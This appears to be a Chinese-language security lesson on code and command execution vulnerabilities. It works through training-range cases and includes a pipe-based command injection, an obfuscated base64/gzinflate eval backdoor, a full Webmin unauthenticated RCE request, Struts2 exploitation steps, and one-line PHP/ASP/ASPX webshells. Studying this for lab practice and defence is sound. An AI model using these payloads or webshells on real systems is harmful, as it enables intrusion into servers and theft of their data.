思維導圖
在 Web 應用中有時候程序員為了考慮靈活性、簡潔性,會在代碼調用代碼或命令執行函數去處理。比如當應用在調用一些能將字符串轉化成代碼的函數時,沒有考慮用戶是否能控制這個字符串,將造成代碼執行漏洞。同樣調用系統命令處理,將造成命令執行漏洞。
代碼執行演示
test.php腳本代碼
eval()函數會將傳入的字符串當做代碼來執行,若傳入phpinfo();則會執行,顯示如下
傳入echo 123;也會執行,顯示123
發現漏洞后,后續攻擊可以執行一段代碼,執行寫入文件、讀取文件等操作。
命令執行演示
test.php腳本代碼
system()函數會執行外部命令,若傳入ipconfig則會執行,顯示如下
漏洞形成條件:可控變量&漏洞函數
漏洞函數:幾種常用語言,都有將字符串轉化成代碼去執行的相關函數。
php:
代碼執行函數:
-
- 1- eval()(特別注意:php中@符號的意思是不報錯,即使執行錯誤,也不報錯。)
- 2- assert()
- 3- call_user_func()
- 4- create_function()
- 5- array_map()
- 6- call_user_func_array()
- 7- array_filter()
- 8- uasort()函數
- 9- preg_replace()
命令執行函數:
-
- 1- system()
- 2-passthru()
- 3- exec()
- 4- pcntl_exec()
- 5- shell_exec()
- 6- popen()/proc_open()
- 7- 反引號 ``
Python:exec等
Java:Java中沒有類似php中的eval函數這種直接可以將字符串轉化成代碼去執行的函數,但是有反射機制,並期望有各種基於反射機制的表達式引擎,如OGNL、SpEL等。
代碼/命令執行漏洞的查找:
- 1.代碼審計,比如網站使用開源CMS,則可以去網上搜索源代碼審計。推薦站長之家:https://down.chinaz.com/
- 2.漏洞工具掃描
- 3.搜索引擎搜索公開漏洞
- 4.手工查看參數值和功能點判斷(參數值和腳本有關,如test.php?x=echo 等等)
本課重點:
- 案例1:墨者靶場黑盒功能點命令執行-應用功能
- 案例2:墨者靶場白盒代碼及命令執行-代碼分析
- 案例3:墨者靶場黑盒層RCE漏洞檢測-公開漏洞
- 案例4:Javaweb-Struts2框架類RCE漏洞-漏洞層面
- 案例5:一句話Webshell后門原理代碼-拓展說明
案例1:墨者靶場黑盒功能點命令執行-應用功能
墨者學院-命令注入執行分析:https://www.mozhe.cn/bug/detail/12
<1>首頁打開,輸入127.0.0.1,顯示Ping的結果,猜測這里可能有命令執行漏洞。
<2>輸入127.0.0.1|ls,嘗試執行ls命令,發現報錯“IP格式不正確”。(這里使用了linux命令中的管道符)
<3>經過分析,發現是前端代碼校驗IP格式,可以采用禁用本地JS或者抓包的形式繞過。
<4>下面直接抓包繞過
首先找到flag文件
然后讀取flag文件
本關主要是在不知道代碼的情況下,通過網站功能點,盲猜有漏洞,並進行黑盒測試。
案例2:墨者靶場白盒代碼及命令執行-代碼分析
墨者學院-PHP代碼分析溯源(第4題):https://www.mozhe.cn/bug/detail/13
<1>首頁打開發現提示key在根目錄,且給出代碼。
<?php eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&))); ?>
<2>這是base64加密+壓縮的編碼。簡單方法就是直接把eval改成echo輸出,執行
<?php echo(gzinflate(base64_decode(‘40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==’))); ?>
得到echo `$_REQUEST[a]`;; ?>,發現有命令執行漏洞
<3>直接給a傳入 ls,顯示所有文件。發現key文件。
<4>嘗試讀取key文件,直接用cat讀取得到key(需要在源代碼中查看),或者使用tac命令讀取key(可以在頁面直接顯示)。
http://219.153.49.228:44533/f.php?a=cat key_181541630618021.php
http://219.153.49.228:44533/f.php?a=tac key_181541630618021.php
案例3:墨者靶場黑盒層RCE漏洞檢測-公開漏洞
墨者學院-Webmin未經身份驗證的遠程代碼執行:https://www.mozhe.cn/bug/detail/309
Webmin是用於類似Unix的系統的基於Web的系統配置工具。該漏洞存在於密碼重置頁面中,該頁面允許未經身份驗證的用戶通過簡單的POST請求執行任意命令。
<1>打開頁面如下
<2>直接網上搜索webmin漏洞,找到遠程代碼執行的EXP:
POST /password_change.cgi HTTP/1.1 Host: 10.10.10.142:10000 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Accept-Encoding: gzip, deflate Accept: */* Connection: close Accept-Language: en Cookie: redirect=1; testing=1; sid=x; sessiontest=1 Referer: https://10.10.10.142:10000/password_change.cgi/session_login.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 55 cache-control: no-cache user=rootxx&pam=&expired=2&old=ls&new1=test2&new2=test2
<3>嘗試登錄,抓包,將url和參數改為EXP,由於key在根目錄下,我們直接“ls /”查看根目錄下文件,找到key文件
<4>讀取key文件:cat /key.txt
該漏洞利用條件:
- 系統開啟密碼修改功能
- 存在此漏洞的版本1.882-1.920
修復建議:
- 升級版本
- 在版本1.900到1.920中編輯/etc/webmin/miniserv.conf,刪除passwd_mode =行,然后運行/ etc / webmin / restart,以免系統受到攻擊。
案例4:Javaweb-Struts2框架類RCE漏洞-漏洞層面
墨者學院-Apache Struts2遠程代碼執行漏洞(S2-016)復現:https://www.mozhe.cn/bug/detail/254
S2-016:由於通過操作前綴為“action”/“redirect”/“redirectAction”的參數引入的漏洞。
使用工具直接檢測,居然沒有發現S2-016,看到有S2-046就直接利用了。
ls找到key文件
cat查看key文件內容
墨者學院-Apache Struts2遠程代碼執行漏洞(S2-037)復現:https://www.mozhe.cn/bug/detail/262
直接網上搜索EXP利用
ls找到key文件
cat key.txt查看內容
案例5:一句話Webshell后門原理代碼-拓展說明
常見的一句話木馬:
php的一句話木馬: <?php @eval($_POST['pass']);?> asp的一句話木馬: <%eval request ("pass")%> aspx的一句話木馬: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
一句話木馬的本質是向服務器寫入了一個代碼文件,而這個代碼存在代碼執行漏洞。
而菜刀的原理是,提前寫好了各種腳本,利用一句話木馬中的代碼執行漏洞,實現對服務器的增刪改查。
其他涉及資源:
- JAVA web網站代碼審計--入門:https://www.cnblogs.com/ermei/p/6689005.html
- http://leanote.com/post/snowming/9da184ef24bd